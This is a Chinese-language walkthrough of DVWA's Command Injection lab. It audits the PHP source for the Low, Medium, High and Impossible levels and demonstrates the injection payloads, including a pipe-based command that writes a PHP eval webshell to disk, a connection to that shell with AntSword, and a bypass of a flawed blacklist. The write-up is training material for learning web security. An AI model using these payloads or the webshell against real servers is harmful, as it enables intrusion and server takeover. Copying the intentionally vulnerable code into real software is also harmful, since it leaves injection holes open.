DVWA-Command Injection(命令执行)

命令执行漏洞，顾名思义，服务端在进行一些网站的操作、管理的时候，需要调用系统命令，如果对传入的命令参数没有进行一些过滤，可以直接执行服务器系统的命令终端

LOW

审计源码

<?php
// 判断是否提交了 Submit
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取 ip 传参，理想输入IP地址
    $target = $_REQUEST[ 'ip' ];

    // 确认操作系统
    // stristr() 截取 Windows NT 从开始到结束的位置
    // php_uname() 获取PHP版本信息 ，值为s，获取操作系统名称
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // 如果是windows，执行ping命令跟上传入的IP地址
        // shell_exec() 执行系统命令
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // 如果是linux、unix等系统，执行 ping -c 4 四次测试，在Linux中ping是不会自动停止的
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 打印命令执行结果
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到，对输入的IP没有进行任何的过滤,可以直接进行命令注入

在windows命令行中，可以使用

& && | ||

& 符号

通过图片可以看出，&号无论ping执行正确还是失败，都会执行net user

&& 符号

&&只有ping命令执行成功后，后面的net user才可以执行成功

| 符号

|是意思是，将ping执行的结果，交给net user处理，只会回显net user的回显，但是无论ping执行是否成功，一定会执行net user

|| 符号

||会寻找正确的语句执行，执行完就会停止，可以看到，ping语句执行失败，执行了net user，第二条命令ping执行成功，没有执行echo，后面使用type验证echo没有执行成功

命令注入

在框中输入a|dir,查看当前目录文件，发现只有一个index.php



使用echo写入一句话木马a|echo "<?php @eval($_POST[cmd])?>" > a.php

如果在Windows 10中运行，现将安全中心的实时防护关闭



执行后没有任何回显，应该是写入成功了

继续使用a|dir查看木马是否写入成功



a.php已经被写入成功，使用a|type a.php查看a.php内容



只有两个双引号，里面的php语句应该是被当做页面执行了

使用蚁剑进行连接

蚁剑是一个类似于中国菜刀的工具，但是比起中国菜单更好用，下载见

启动器

源码

将启动器和源码分别解压，然后启动器启动时选择启动目录为加压的源码目录就可以使用

根据a|dir获取a.php木马的路径,D:\phpstudy_pro\WWW\dvwa\vulnerabilities\exec



那么在地址栏中就是http://127.0.0.1/dvwa/vulnerabilities/exec/a.php,测试连接成功



添加，双击进入可以查看靶机目录



利用成功

Medium

审计源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取传入的 ip
    $target = $_REQUEST[ 'ip' ];

    // 定义字符黑名单
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // 将黑名单中的字符过滤，替换为空
    // str_replace() 替换选中的字符
    // array_keys选中 && ;，
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 返回命令执行回显
    echo "<pre>{$cmd}</pre>";
}

?>

这里对&&和;号进行了过滤，但是对我们没有什么影响，|依然能用

a|echo hello world测试



成功打印了hello wolrd

成功过关

High

审计源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 获取 IP 传参
    $target = trim($_REQUEST[ 'ip' ]);

    // 定义过滤黑名单
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // 将IP中的黑名单字符转换为空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // 返回命令执行回显
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到和Medium的代码没什么区别，不过添加的黑名单变多了，|视乎也被过滤了

但是仔细观察会发现，过滤的是| ,|空格，并不是|,在程序中，空格也是一个字符



所以使用|依然可以使用

a|echo cnblogs.com/Junglezt,测试



执行成功，过关

Impossible

审计源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 检查token值
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取输入的IP地址
    $target = $_REQUEST[ 'ip' ];
    // 去除左右两边的反斜杠
    $target = stripslashes( $target );

    // 将传入的IP使用 . 进行分割
    $octet = explode( ".", $target );

    // 根据IP地址的格式，判断用 . 分开的四个部分是不是数字
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // 如果是数字，将四个字数拼接为一个IP地址
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 判断操作系统
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // 返回命令执行回显
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // 命令执行失败，检查输入的是不是一个IP地址
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// 生成 user_token
generateSessionToken();

?>

引入了user_token，并且将输入的传参分割判断是不是IP地址的格式，所以这才是 Impossible